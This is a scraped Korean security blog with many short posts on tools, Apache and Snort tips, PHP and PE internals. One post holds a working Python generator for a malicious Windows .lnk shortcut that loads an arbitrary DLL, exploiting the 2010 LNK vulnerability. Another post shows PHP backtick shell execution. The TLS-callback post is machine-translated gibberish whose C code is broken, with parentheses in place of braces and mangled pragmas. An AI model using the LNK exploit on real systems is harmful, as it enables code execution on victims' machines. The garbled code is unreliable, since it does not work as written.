Anti-CSRF 우회기법

webhxxx 2010. 10. 20. 12:41 |
CSRF방지를 위한 Security Token을 사용하더라도 XSS에 취약할 경우 CSRF공격이 가능하다.

'webhxxx' 카테고리의 다른 글

웹이슈 목록  (0) 2011.01.10
Posted by applicationlayer
:
Posted by applicationlayer
:

연결체크

1

'tool' 카테고리의 다른 글

아이콘 바꾸기  (0) 2010.06.07
NetSparker v1.3.7.5  (0) 2010.04.09
중국산 Webshell Finder  (0) 2010.04.08
skipfish  (0) 2010.03.26
Posted by applicationlayer
:

IP Defragmentation공격

tips 2010. 9. 7. 10:55 |
왜 글이 짤리는거야 ㅠ

'tips' 카테고리의 다른 글

공개게시판 모음  (0) 2011.01.11
SSH 세션유지하기  (0) 2011.01.10
펌_김치볶음밥  (0) 2010.07.24
Apache redirect 설정  (0) 2010.07.23
apache virtualhost  (0) 2010.07.22
Posted by applicationlayer
:
http://gooja.tistory.com/55

PHP 에서 exec() 함수와 같은 기능을하는 backtiks 이 있다.
``Note that these are not single-quotes!
backtick(``) 를 이용해서 shell 명령어를 실행할 할 수 있다.

<예>
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

<pre></pre>는 실행결과를 자동으로 줄바꿈을 해서 보기 편리하다.

'programming > php' 카테고리의 다른 글

session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:

'doc' 카테고리의 다른 글

action script3  (0) 2010.07.26
HWP format  (0) 2010.07.01
reverse_engineering_pe_format  (0) 2010.06.09
JPEG spec  (0) 2010.06.08
HTTP 1.1 RFC  (0) 2010.05.10
Posted by applicationlayer
:
ex) test.py c:\dll.dll

import sys

def u(s):
    lst = []
    for ch in s:
        ch = ch+"\x00"
        lst.append(ch)
    return reduce(lambda x,y:x+y, lst)


payload = "\x4C\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF2\x00\x14\x00\x1F\x50\xE0\x4F\xD0\x20\xEA\x3A\x69\x10\xA2\xD8\x08\x00\x2B\x30\x30\x9D\x14\x00\x2E\x00\x20\x20\xEC\x21\xEA\x3A\x69\x10\xA2\xDD\x08\x00\x2B\x30\x30\x9D\xC8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6A\x00\x00\x00\x00\x00\x00\x1E\x00\x22\x00"
payload = payload + u(sys.argv[1])+ "\x00\x00\xDC\xC2\xA4\xC2\x5C\xD1\x00\x00\xF4\xCE\xE8\xD4\x30\xD1\x20\x00\xDC\xC2\xA4\xC2\x5C\xD1\xD0\xC5\x20\x00\x00\xB3\x5C\xD5\x20\x00\x15\xC8\xF4\xBC\x7C\xB9\x20\x00\xF4\xBC\xE0\xAC\x2C\x00\x20\x00\x58\xD5\xDC\xB4\xE8\xC6\xB4\xC5\x2C\x00\x20\x00\x31\xC1\xA5\xB2\x20\x00\x0F\xBC\x20\x00\x90\xC7\xD9\xB3\x20\x00\xC5\xC5\x70\xB3\x74\xC7\xB8\xD2\xD0\xC5\x20\x00\x00\xB3\x5C\xD5\x20\x00\x24\xC1\x15\xC8\x44\xC7\x20\x00\xC0\xBC\xBD\xAC\x69\xD5\xC8\xB2\xE4\xB2\x2E\x00\x00\x00\x00\x00\x00\x00\x00\x00"
fil = open("poc.lnk","w")
fil.write(payload)
fil.close()

'vulnerability' 카테고리의 다른 글

GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
CVE ID 받기  (0) 2011.03.31
html file upload form  (0) 2010.06.24
Java Deployment Toolkit Test Page  (0) 2010.04.19
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
Posted by applicationlayer
:

action script3

doc 2010. 7. 26. 14:32 |

'doc' 카테고리의 다른 글

QuickTime File Format Specification  (0) 2010.08.03
HWP format  (0) 2010.07.01
reverse_engineering_pe_format  (0) 2010.06.09
JPEG spec  (0) 2010.06.08
HTTP 1.1 RFC  (0) 2010.05.10
Posted by applicationlayer
:

펌_김치볶음밥

tips 2010. 7. 24. 20:47 |

'tips' 카테고리의 다른 글

SSH 세션유지하기  (0) 2011.01.10
IP Defragmentation공격  (0) 2010.09.07
Apache redirect 설정  (0) 2010.07.23
apache virtualhost  (0) 2010.07.22
windows7에서 아웃룩 실행안될때  (0) 2010.07.22
Posted by applicationlayer
:

Apache redirect 설정

tips 2010. 7. 23. 14:14 |
httpd.conf에서

Redirect /index.php http://www.naver.com/


'tips' 카테고리의 다른 글

IP Defragmentation공격  (0) 2010.09.07
펌_김치볶음밥  (0) 2010.07.24
apache virtualhost  (0) 2010.07.22
windows7에서 아웃룩 실행안될때  (0) 2010.07.22
유용한 Firefox plugin  (0) 2010.06.18
Posted by applicationlayer
:

apache virtualhost

tips 2010. 7. 22. 11:38 |
http://httpd.apache.org/docs/2.0/vhosts/examples.html


'tips' 카테고리의 다른 글

펌_김치볶음밥  (0) 2010.07.24
Apache redirect 설정  (0) 2010.07.23
windows7에서 아웃룩 실행안될때  (0) 2010.07.22
유용한 Firefox plugin  (0) 2010.06.18
IP포워딩  (0) 2010.05.25
Posted by applicationlayer
:
outlook.exe /resetnavpane

'tips' 카테고리의 다른 글

Apache redirect 설정  (0) 2010.07.23
apache virtualhost  (0) 2010.07.22
유용한 Firefox plugin  (0) 2010.06.18
IP포워딩  (0) 2010.05.25
원격터미널 세션 끊기  (0) 2010.05.18
Posted by applicationlayer
:
와샥은 winpcap라이브러리에서 제공하는 아래의 함수를 사용하여 패킷을 수집한다.

pcap_findalldevs() 랜카드 선택

pcap_freealldevs() 랜카드 제거

pcap_open_live() 선택된 랜카드로 수집할 패킷 사이즈 등 결정

pcap_loop() 프로그램 무한루프 결정

pcap_handle() 수집된 패킷 출력 형태 결정

'programming > C++' 카테고리의 다른 글

gcc -lz옵션  (0) 2010.05.06
main, _tmain, wmain  (0) 2010.04.17
CString형변환  (0) 2009.10.12
Posted by applicationlayer
:
출처: http://hi.baidu.com/tjt999/blog/item/116ef30099a219e008fa939f.html

VC in the TLS callback, there are always some problems, basically as follows:
1, VC6 does not support.
2, VS2005 in Debug version of the normal, Release version not normal.
3, VS2005 in Release version of the normal, Debug version is not normal.
VC6 because VC6 does not support the TLSSUP.OBJ a problem with, it has defined the callback table first, and callback to 0,0 means the end of the table, so we added functions will not be called . [INDENT] For the first two issues, I have not encountered, it touches on problems encountered in the first three. On the issue in your research and found the problem: 在 Link middle segment of the process. CRT $ XLA and. CRT $ XLB Hebing O'clock, should be was alphabetical Wu gaps merge, but the output in the DEBUG version of facts is not so, the order of Yes, but it had a big gap, gap filling 0, equivalent to the table in our callback number preceded by 0 0, it is the end of the callback list in advance, perhaps BUG. For the second case, I did not have, do not know whether it is for this reason, if it is, I think should be the LINK of BUG.
    In response to these problems, I wanted to use VS2008 to tlssup.obj, but it's not compatible with VC6, change up too much trouble, then I suddenly thought, maybe we can create a tlssup.obj, based on this idea, write their own The tlssup, the current results show that it can be compatible with VC6, VS2005, VS2008.

/ * File Name: tlssup.c, required to compile the C way, if your project is CPP project, please cancel for this source file precompiled header * /

(1) to establish a console project

(2) create tlssup.c file, the code below

(3) by adding the file works

(4) English version: Right-click on the tlssup.c file, select the Setting-> C / C + + -> Gategory-> Precomliled Headers-> Not using precompiled headers. English Version: Right-click on the tlssup.c File -> Settings -> C / C + + -> precompiled header file -> do not use pre-compensation for the header -> OK

/ / Tlssup.c file code:
# Include <windows.h>
# Include <winnt.h>

int _tls_index = 0;

# Pragma data_seg (". Tls")
int _tls_start = 0;
# Pragma data_seg (". Tls $ ZZZ")
int _tls_end = 0;
# Pragma data_seg (". CRT $ XLA")
int __xl_a = 0;
# Pragma data_seg (". CRT $ XLZ")
int __xl_z = 0;

# Pragma data_seg (". Rdata $ T")

extern PIMAGE_TLS_CALLBACK my_tls_callbacktbl [];

IMAGE_TLS_DIRECTORY32 _tls_used = ((DWORD) & _tls_start, (DWORD) & _tls_end, (DWORD) & _tls_index, (DWORD) my_tls_callbacktbl, 0,0);

/ * Tlssup.c end * /


    Then, we define my_tls_callbacktbl other CPP files as you can:
extern "C" PIMAGE_TLS_CALLBACK my_tls_callbacktbl [] = (my_tls_callback1, 0); / / can have multiple callbacks, but be sure to add an empty item at the last, otherwise it may be wrong.
    Of course, the following line and no less:
# Pragma comment (linker, "/ INCLUDE: __tls_used")

/ / Project cpp file code:

/ / TLS_CallBack_test.cpp: Defines the entry point for the console application.
# Include <windows.h>
# Include <winnt.h>
/ / The following line tells the linker to create the file in the PE TLS directory
# Pragma comment (linker, "/ INCLUDE: __tls_used")
/ * This is PIMAGE_TLS_CALLBACK () function prototype, which the first and third arguments to retain the second parameter determines the function in that case * /
void NTAPI my_tls_callback1 (PVOID h, DWORD reason, PVOID pv)
(
/ * There are four options DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH and DLL_PROCESS_DETACH. See Microsoft's release of "Microsoft Portable Executable and Common Object File Format Specification v8" * /
/ / Only create the main thread in the process initialization code to execute when
if (reason == DLL_PROCESS_ATTACH) (
   MessageBox (NULL, "hi, this is tls callback", "title", MB_OK);
)
return;
)
/ * The following section of this is to create a tls
". CRT $ XLB" means:
. CRT that is to use the C RunTime mechanism
$ XLB in the back
That the identity of random X
L TLS callback section that is
B to B can be replaced by any of a letter Y, but can not use ". CRT $ XLA" and ". CRT $ XLZ"
Because ". CRT $ XLA" and ". CRT $ XLZ" for tlssup.obj of
* /
# Pragma data_seg (". CRT $ XLB")
/ * If you want to define multiple TLS_CallBack function can be written in the following sentence:
PIMAGE_TLS_CALLBACK p_thread_callback [] = (tls_callback_A, tls_callback_B, tls_callback_C, 0);
One tls_callback_B and tls_callback_C should be your other TLS_callBack function defined
* /
extern "C" PIMAGE_TLS_CALLBACK my_tls_callbacktbl [] = (my_tls_callback1, 0);
# Pragma data_seg ()

int main (void)
(
MessageBox (NULL, "hi, this is main ()"," title", MB_OK);
return 0;
)

/ * CPP file end * /

'rexxxxx' 카테고리의 다른 글

PEcompact MUP  (0) 2015.09.19
어셈_조건분기문  (0) 2009.10.23
Posted by applicationlayer
:

HWP format

doc 2010. 7. 1. 10:10 |

'doc' 카테고리의 다른 글

QuickTime File Format Specification  (0) 2010.08.03
action script3  (0) 2010.07.26
reverse_engineering_pe_format  (0) 2010.06.09
JPEG spec  (0) 2010.06.08
HTTP 1.1 RFC  (0) 2010.05.10
Posted by applicationlayer
:

html file upload form

vulnerability 2010. 6. 24. 14:58 |
html태그 중 하나인 file upload form을 사용하면 손쉽게 업로드 기능을 구현할 수 있다.

<input type=file name='test'>

사용자가 업로드를 이용할 때 두가지 액션이 필요한데
1. 파일선택
2. submit
이중 2번의 액션은 javascript를 이용하여 구현이 가능하다. 즉, 자동화를 할 수 있다.
1번 파일을 선택하는 액션은 스크립트를 사용하여도 자동화가 불가능한것 같다. 가능하다면 상당히 위험한 취약점으로 보고될 수 있다. 이를 이용하여 로컬PC의 특정파일이 탈취될 수 있다.

생각정리겸 끄적끄적

'vulnerability' 카테고리의 다른 글

CVE ID 받기  (0) 2011.03.31
LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
Java Deployment Toolkit Test Page  (0) 2010.04.19
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
FCK Editor  (0) 2010.04.11
Posted by applicationlayer
:

유용한 Firefox plugin

tips 2010. 6. 18. 10:36 |
내가 사용하는 파폭 플러그인

Regular Expressions Tester
https://addons.mozilla.org/ko/firefox/addon/2077/

Xmarks
https://addons.mozilla.org/ko/firefox/addon/2410/

Flagfox
https://addons.mozilla.org/ko/firefox/addon/5791/

FireFTP
https://addons.mozilla.org/ko/firefox/addon/684/

ChatZilla
https://addons.mozilla.org/ko/firefox/addon/16/

sage
https://addons.mozilla.org/ko/firefox/addon/77/

'tips' 카테고리의 다른 글

apache virtualhost  (0) 2010.07.22
windows7에서 아웃룩 실행안될때  (0) 2010.07.22
IP포워딩  (0) 2010.05.25
원격터미널 세션 끊기  (0) 2010.05.18
BOF에 취약한 함수들  (0) 2010.05.13
Posted by applicationlayer
:

reverse_engineering_pe_format

doc 2010. 6. 9. 20:45 |

pe관련 구조체가 잘 나와있음

'doc' 카테고리의 다른 글

action script3  (0) 2010.07.26
HWP format  (0) 2010.07.01
JPEG spec  (0) 2010.06.08
HTTP 1.1 RFC  (0) 2010.05.10
TCP/IP 간단  (0) 2010.04.09
Posted by applicationlayer
:
이런 옵션을 모르고 있었다니 ㅠㅠ 반성해야돼




Posted by applicationlayer
:

JPEG spec

doc 2010. 6. 8. 14:22 |

'doc' 카테고리의 다른 글

HWP format  (0) 2010.07.01
reverse_engineering_pe_format  (0) 2010.06.09
HTTP 1.1 RFC  (0) 2010.05.10
TCP/IP 간단  (0) 2010.04.09
MS-XLS  (0) 2010.04.09
Posted by applicationlayer
:

아이콘 바꾸기

tool 2010. 6. 7. 08:50 |

'tool' 카테고리의 다른 글

网址有效性批量整理工具  (0) 2010.10.04
NetSparker v1.3.7.5  (0) 2010.04.09
중국산 Webshell Finder  (0) 2010.04.08
skipfish  (0) 2010.03.26
Posted by applicationlayer
:

PDF Dissector

pdf 2010. 6. 1. 09:52 |
PDF 분석
http://blog.zynamics.com/2010/05/31/official-release-of-pdf-dissector-1-0/
Posted by applicationlayer
:

sivus 메뉴얼

VoIP 2010. 5. 31. 09:45 |
ㅠ 영어다

Posted by applicationlayer
:

간단하게 이벤트 확인

snort 2010. 5. 25. 13:35 |
tail -f /var/log/snort/alert

'snort' 카테고리의 다른 글

barnyard2 설치  (0) 2012.02.08
Installing Sagan on CentOS  (0) 2012.02.01
snort 성능  (0) 2012.01.26
Snort for Mac OS X  (0) 2011.01.02
스노트 구축  (0) 2010.03.14
Posted by applicationlayer
:

IP포워딩

tips 2010. 5. 25. 13:34 |
echo 1 > /proc/sys/net/ipv4/ip_forward

'tips' 카테고리의 다른 글

windows7에서 아웃룩 실행안될때  (0) 2010.07.22
유용한 Firefox plugin  (0) 2010.06.18
원격터미널 세션 끊기  (0) 2010.05.18
BOF에 취약한 함수들  (0) 2010.05.13
attrib  (0) 2010.05.11
Posted by applicationlayer
:

IMAGE_THUNK_DATA32

windows 2010. 5. 24. 19:22 |
typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;      // PBYTE
        DWORD Function;             // PDWORD
        DWORD Ordinal;
        DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;

'windows' 카테고리의 다른 글

"ActiveDirectory 사용자 및 컴퓨터"-dsa.msc 실행이 안될때 win2008  (0) 2012.01.03
자동실행 레지스트리 경로  (0) 2011.12.11
Windows Data Types  (0) 2010.05.24
PIMAGE_IMPORT_DESCRIPTOR  (0) 2010.05.24
WinNT.h  (0) 2010.05.24
Posted by applicationlayer
:

Windows Data Types

windows 2010. 5. 24. 12:06 |

Windows Data Types

The data types supported by Microsoft® Windows® are used to define function return values, function and message parameters, and structure members. They define the size and meaning of these elements. For more information about the underlying C/C++ data types, see Data Type Ranges.

The following table contains the following types: character, integer, Boolean, pointer, and handle. The character, integer, and Boolean types are common to most C compilers. Most of the pointer-type names begin with a prefix of P or LP. Handles refer to a resource that has been loaded into memory.

For more information about handling 64-bit integers, see Large Integers.

Type Description

ATOM

Atom. For more information, see Atoms.

This type is declared in WinDef.h as follows:

typedef WORD ATOM;

BOOL

Boolean variable (should be TRUE or FALSE).

This type is declared in WinDef.h as follows:

typedef int BOOL;

BOOLEAN

Boolean variable (should be TRUE or FALSE).

This type is declared in WinNT.h as follows:

typedef BYTE BOOLEAN;

BYTE

Byte (8 bits).

This type is declared in WinDef.h as follows:

typedef unsigned char BYTE;

CALLBACK

Calling convention for callback functions.

This type is declared in WinDef.h as follows:

#define CALLBACK __stdcall

CHAR

8-bit Windows (ANSI) character. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef char CHAR;

COLORREF

Red, green, blue (RGB) color value (32 bits). See COLORREF for information on this type.

This type is declared in WinDef.h as follows:

typedef DWORD COLORREF;

CONST

Variable whose value is to remain constant during execution.

This type is declared in WinDef.h as follows:

#define CONST const

DWORD

32-bit unsigned integer. The range is 0 through 4294967295 decimal.

This type is declared in WinDef.h as follows:

typedef unsigned long DWORD;

DWORDLONG

64-bit unsigned integer. The range is 0 through 18446744073709551615 decimal.

This type is declared in WinNT.h as follows:

typedef ULONGLONG DWORDLONG;

DWORD_PTR

Unsigned long type for pointer precision. Use when casting a pointer to a long type to perform pointer arithmetic. (Also commonly used for general 32-bit parameters that have been extended to 64 bits in 64-bit Windows. )

This type is declared in BaseTsd.h as follows:

typedef ULONG_PTR DWORD_PTR;

DWORD32

32-bit unsigned integer.

This type is declared in BaseTsd.h as follows:

typedef unsigned int DWORD32;

DWORD64

64-bit unsigned integer.

This type is declared in BaseTsd.h as follows:

typedef unsigned __int64 DWORD64;

FLOAT

Floating-point variable.

This type is declared in WinDef.h as follows:

typedef float FLOAT;

HACCEL

Handle to an accelerator table.

This type is declared in WinDef.h as follows:

typedef HANDLE HACCEL;

HALF_PTR

Half the size of a pointer. Use within a structure that contains a pointer and two small fields.

This type is declared in Basetsd.h as follows:

#ifdef _WIN64
typedef int HALF_PTR;
#else
typedef short HALF_PTR;
#endif

HANDLE

Handle to an object.

This type is declared in WinNT.h as follows:

typedef PVOID HANDLE;

HBITMAP

Handle to a bitmap.

This type is declared in WinDef.h as follows:

typedef HANDLE HBITMAP;

HBRUSH

Handle to a brush.

This type is declared in WinDef.h as follows:

typedef HANDLE HBRUSH;

HCOLORSPACE

Handle to a color space.

This type is declared in WinDef.h as follows:

#if(WINVER >= 0x0400)
typedef HANDLE HCOLORSPACE;
#endif

HCONV

Handle to a dynamic data exchange (DDE) conversation.

This type is declared in Ddeml.h as follows:

typedef HANDLE HCONV;

HCONVLIST

Handle to a DDE conversation list.

This type is declared in Ddeml.h as follows:

typedef HANDLE HCONVLIST;

HCURSOR

Handle to a cursor.

This type is declared in WinDef.h as follows:

typedef HICON HCURSOR;

HDC

Handle to a device context (DC).

This type is declared in WinDef.h as follows:

typedef HANDLE HDC;

HDDEDATA

Handle to DDE data.

This type is declared in Ddeml.h as follows:

typedef HANDLE HDDEDATA;

HDESK

Handle to a desktop.

This type is declared in WinDef.h as follows:

typedef HANDLE HDESK;

HDROP

Handle to an internal drop structure.

This type is declared in ShellApi.h as follows:

typedef HANDLE HDROP;

HDWP

Handle to a deferred window position structure.

This type is declared in WinUser.h as follows:

typedef HANDLE HDWP;

HENHMETAFILE

Handle to an enhanced metafile.

This type is declared in WinDef.h as follows:

typedef HANDLE HENHMETAFILE;

HFILE

Handle to a file opened by OpenFile, not CreateFile.

This type is declared in WinDef.h as follows:

typedef int HFILE;

HFONT

Handle to a font.

This type is declared in WinDef.h as follows:

typedef HANDLE HFONT;

HGDIOBJ

Handle to a GDI object.

This type is declared in WinDef.h as follows:

typedef HANDLE HGDIOBJ;

HGLOBAL

Handle to a global memory block.

This type is declared in WinDef.h as follows:

typedef HANDLE HGLOBAL;

HHOOK

Handle to a hook.

This type is declared in WinDef.h as follows:

typedef HANDLE HHOOK;

HICON

Handle to an icon.

This type is declared in WinDef.h as follows:

typedef HANDLE HICON;

HINSTANCE

Handle to an instance.

This type is declared in WinDef.h as follows:

typedef HANDLE HINSTANCE;

HKEY

Handle to a registry key.

This type is declared in WinDef.h as follows:

typedef HANDLE HKEY;

HKL

Input locale identifier.

This type is declared in WinDef.h as follows:

typedef HANDLE HKL;

HLOCAL

Handle to a local memory block.

This type is declared in WinDef.h as follows:

typedef HANDLE HLOCAL;

HMENU

Handle to a menu.

This type is declared in WinDef.h as follows:

typedef HANDLE HMENU;

HMETAFILE

Handle to a metafile.

This type is declared in WinDef.h as follows:

typedef HANDLE HMETAFILE;

HMODULE

Handle to a module. The value is the base address of the module.

This type is declared in WinDef.h as follows:

typedef HINSTANCE HMODULE;

HMONITOR

Handle to a display monitor.

This type is declared in WinDef.h as follows:

if(WINVER >= 0x0500) typedef HANDLE HMONITOR;

HPALETTE

Handle to a palette.

This type is declared in WinDef.h as follows:

typedef HANDLE HPALETTE;

HPEN

Handle to a pen.

This type is declared in WinDef.h as follows:

typedef HANDLE HPEN;

HRESULT

Return code used by COM interfaces. For more information, see Structure of the COM Error Codes. To test an HRESULT value, use the FAILED and SUCCEEDED macros.

This type is declared in WinNT.h as follows:

typedef LONG HRESULT;

HRGN

Handle to a region.

This type is declared in WinDef.h as follows:

typedef HANDLE HRGN;

HRSRC

Handle to a resource.

This type is declared in WinDef.h as follows:

typedef HANDLE HRSRC;

HSZ

Handle to a DDE string.

This type is declared in Ddeml.h as follows:

typedef HANDLE HSZ;

HWINSTA

Handle to a window station.

This type is declared in WinDef.h as follows:

typedef HANDLE WINSTA;

HWND

Handle to a window.

This type is declared in WinDef.h as follows:

typedef HANDLE HWND;

INT

32-bit signed integer. The range is -2147483648 through 2147483647 decimal.

This type is declared in WinDef.h as follows:

typedef int INT;

INT_PTR

Signed integer type for pointer precision. Use when casting a pointer to an integer to perform pointer arithmetic.

This type is declared in BaseTsd.h as follows:

#if defined(_WIN64) 
typedef __int64 INT_PTR;
#else
typedef int INT_PTR;
#endif

INT32

32-bit signed integer. The range is -2147483648 through 2147483647 decimal.

This type is declared in BaseTsd.h as follows:

typedef signed int INT32;

INT64

64-bit signed integer. The range is ?9223372036854775808 through 9223372036854775807 decimal.

This type is declared in BaseTsd.h as follows:

typedef signed __int64 INT64;

LANGID

Language identifier. For more information, see Locales.

This type is declared in WinNT.h as follows:

typedef WORD LANGID;

LCID

Locale identifier. For more information, see Locales.

This type is declared in WinNT.h as follows:

typedef DWORD LCID;

LCTYPE

Locale information type. For a list, see LCTYPE Constants.

This type is declared in WinNls.h as follows:

typedef DWORD LCTYPE;

LGRPID

Language group identifier. For a list, see EnumLanguageGroupLocales.

This type is declared in WinNls.h as follows:

typedef DWORD LGRPID;

LONG

32-bit signed integer. The range is ?2147483648 through 2147483647 decimal.

This type is declared in WinNT.h as follows:

typedef long LONG;

LONGLONG

64-bit signed integer. The range is ?9223372036854775808 through 9223372036854775807 decimal.

This type is declared in WinNT.h as follows:

#if !defined(_M_IX86)
typedef __int64 LONGLONG;
#else
typedef double LONGLONG;
#endif

LONG_PTR

Signed long type for pointer precision. Use when casting a pointer to a long to perform pointer arithmetic.

This type is declared in BaseTsd.h as follows:

#if defined(_WIN64)
typedef __int64 LONG_PTR;
#else
typedef long LONG_PTR;
#endif

LONG32

32-bit signed integer. The range is ?2147483648 through 2147483647 decimal.

This type is declared in BaseTsd.h as follows:

typedef signed int LONG32;

LONG64

64-bit signed integer. The range is ?9223372036854775808 through 9223372036854775807 decimal.

This type is declared in BaseTsd.h as follows:

typedef __int64 LONG64;

LPARAM

Message parameter.

This type is declared in WinDef.h as follows:

typedef LONG_PTR LPARAM;

LPBOOL

Pointer to a BOOL.

This type is declared in WinDef.h as follows:

typedef BOOL far *LPBOOL;

LPBYTE

Pointer to a BYTE.

This type is declared in WinDef.h as follows:

typedef BYTE far *LPBYTE;

LPCOLORREF

Pointer to a COLORREF value.

This type is declared in WinDef.h as follows:

typedef DWORD *LPCOLORREF;

LPCSTR

Pointer to a constant null-terminated string of 8-bit Windows (ANSI) characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef __nullterminated CONST CHAR *LPCSTR;

LPCTSTR

An LPCWSTR if UNICODE is defined, an LPCSTR otherwise.

This type is declared in WinNT.h as follows:

#ifdef UNICODE
typedef LPCWSTR LPCTSTR;
#else
typedef LPCSTR LPCTSTR;
#endif

LPCVOID

Pointer to a constant of any type.

This type is declared in WinDef.h as follows:

typedef CONST void *LPCVOID;

LPCWSTR

Pointer to a constant null-terminated string of 16-bit Unicode characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef CONST WCHAR *LPCWSTR;

LPDWORD

Pointer to a DWORD.

This type is declared in WinDef.h as follows:

typedef DWORD *LPDWORD;

LPHANDLE

Pointer to a HANDLE.

This type is declared in WinDef.h as follows:

typedef HANDLE *LPHANDLE;

LPINT

Pointer to an INT.

This type is declared in WinDef.h as follows:

typedef int *LPINT;

LPLONG

Pointer to a LONG.

This type is declared in WinDef.h as follows:

typedef long *LPLONG;

LPSTR

Pointer to a null-terminated string of 8-bit Windows (ANSI) characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef CHAR *LPSTR;

LPTSTR

An LPWSTR if UNICODE is defined, an LPSTR otherwise.

This type is declared in WinNT.h as follows:

#ifdef UNICODE
typedef LPWSTR LPTSTR;
#else
typedef LPSTR LPTSTR;
#endif

LPVOID

Pointer to any type.

This type is declared in WinDef.h as follows:

typedef void *LPVOID;

LPWORD

Pointer to a WORD.

This type is declared in WinDef.h as follows:

typedef WORD *LPWORD;

LPWSTR

Pointer to a null-terminated string of 16-bit Unicode characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef WCHAR *LPWSTR;

LRESULT

Signed result of message processing.

This type is declared in WinDef.h as follows:

typedef LONG_PTR LRESULT;

PBOOL

Pointer to a BOOL.

This type is declared in WinDef.h as follows:

typedef BOOL *PBOOL;

PBOOLEAN

Pointer to a BOOL.

This type is declared in WinNT.h as follows:

typedef BOOLEAN *PBOOLEAN;

PBYTE

Pointer to a BYTE.

This type is declared in WinDef.h as follows:

typedef BYTE *PBYTE;

PCHAR

Pointer to a CHAR.

This type is declared in WinNT.h as follows:

typedef CHAR *PCHAR;

PCSTR

Pointer to a constant null-terminated string of 8-bit Windows (ANSI) characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef CONST CHAR *PCSTR;

PCTSTR

A PCWSTR if UNICODE is defined, a PCSTR otherwise.

This type is declared in WinNT.h as follows:

#ifdef UNICODE
typedef LPCWSTR PCTSTR;
#else
typedef LPCSTR PCTSTR;
#endif

PCWSTR

Pointer to a constant null-terminated string of 16-bit Unicode characters. For more information, see Character Sets Used By Fonts.

This type is declared in WinNT.h as follows:

typedef CONST WCHAR *PCWSTR;

PDWORD

Pointer to a DWORD.

This type is declared in WinDef.h as follows:

typedef DWORD *PDWORD;

PDWORDLONG

Pointer to a DWORDLONG.

This type is declared in WinNT.h as follows:

typedef DWORDLONG *PDWORDLONG;

PDWORD_PTR

Pointer to a DWORD_PTR.

This type is declared in BaseTsd.h as follows:

typedef DWORD_PTR *PDWORD_PTR;

PDWORD32

Pointer to a DWORD32.

This type is declared in BaseTsd.h as follows:

typedef DWORD32 *PDWORD32;

PDWORD64

Pointer to a DWORD64.

This type is declared in BaseTsd.h as follows:

typedef DWORD64 *PDWORD64;

PFLOAT

Pointer to a FLOAT.

This type is declared in WinDef.h as follows:

typedef FLOAT *PFLOAT;

PHALF_PTR

Pointer to a HALF_PTR.

This type is declared in Basetsd.h as follows:

#ifdef _WIN64
typedef HALF_PTR *PHALF_PTR;
#else
typedef HALF_PTR *PHALF_PTR;
#endif

PHANDLE

Pointer to a HANDLE.

This type is declared in WinNT.h as follows:

typedef HANDLE *PHANDLE;

PHKEY

Pointer to an HKEY.

This type is declared in WinDef.h as follows:

typedef HKEY *PHKEY;

PINT

Pointer to an INT.

This type is declared in WinDef.h as follows:

typedef int *PINT;

PINT_PTR

Pointer to an INT_PTR.

This type is declared in BaseTsd.h as follows:

typedef INT_PTR *PINT_PTR;

PINT32

Pointer to an INT32.

This type is declared in BaseTsd.h as follows:

typedef INT32 *PINT32;

PINT64

Pointer to an INT64.

This type is declared in BaseTsd.h as follows:

typedef INT64 *PINT64;

PLCID

Pointer to an LCID.

This type is declared in WinNT.h as follows:

typedef PDWORD PLCID;

PLONG

Pointer to a LONG.

This type is declared in WinNT.h as follows:

typedef LONG *PLONG;

PLONGLONG

Pointer to a LONGLONG.

This type is declared in WinNT.h as follows:

typedef LONGLONG *PLONGLONG;

PLONG_PTR

Pointer to a LONG_PTR.

This type is declared in BaseTsd.h as follows:

typedef LONG_PTR *PLONG_PTR;

PLONG32

Pointer to a LONG32.

This type is declared in BaseTsd.h as follows:

typedef LONG32 *PLONG32;

PLONG64

Pointer to a LONG64.

This type is declared in BaseTsd.h as follows:

typedef LONG64 *PLONG64;

POINTER_32

32-bit pointer. On a 32-bit system, this is a native pointer. On a 64-bit system, this is a truncated 64-bit pointer.

This type is declared in BaseTsd.h as follows:

#if defined(_WIN64)
#define POINTER_32 __ptr32
#else
#define POINTER_32
#endif

POINTER_64

64-bit pointer. On a 64-bit system, this is a native pointer. On a 32-bit system, this is a sign-extended 32-bit pointer.

Note that it is not safe to assume the state of the high pointer bit.

This type is declared in BaseTsd.h as follows:

#if (_MSC_VER >= 1300)
#define POINTER_64 __ptr64
#else
#define POINTER_64
#endif

POINTER_SIGNED

A signed pointer.

This type is declared in BaseTsd.h as follows:

#define POINTER_SIGNED __sptr

POINTER_UNSIGNED

An unsigned pointer.

This type is declared in BaseTsd.h as follows:

#define POINTER_UNSIGNED __uptr

PSHORT

Pointer to a SHORT.

This type is declared in WinNT.h as follows:

typedef SHORT *PSHORT;

PSIZE_T

Pointer to a SIZE_T.

This type is declared in BaseTsd.h as follows:

typedef SIZE_T *PSIZE_T;

PSSIZE_T

Pointer to a SSIZE_T.

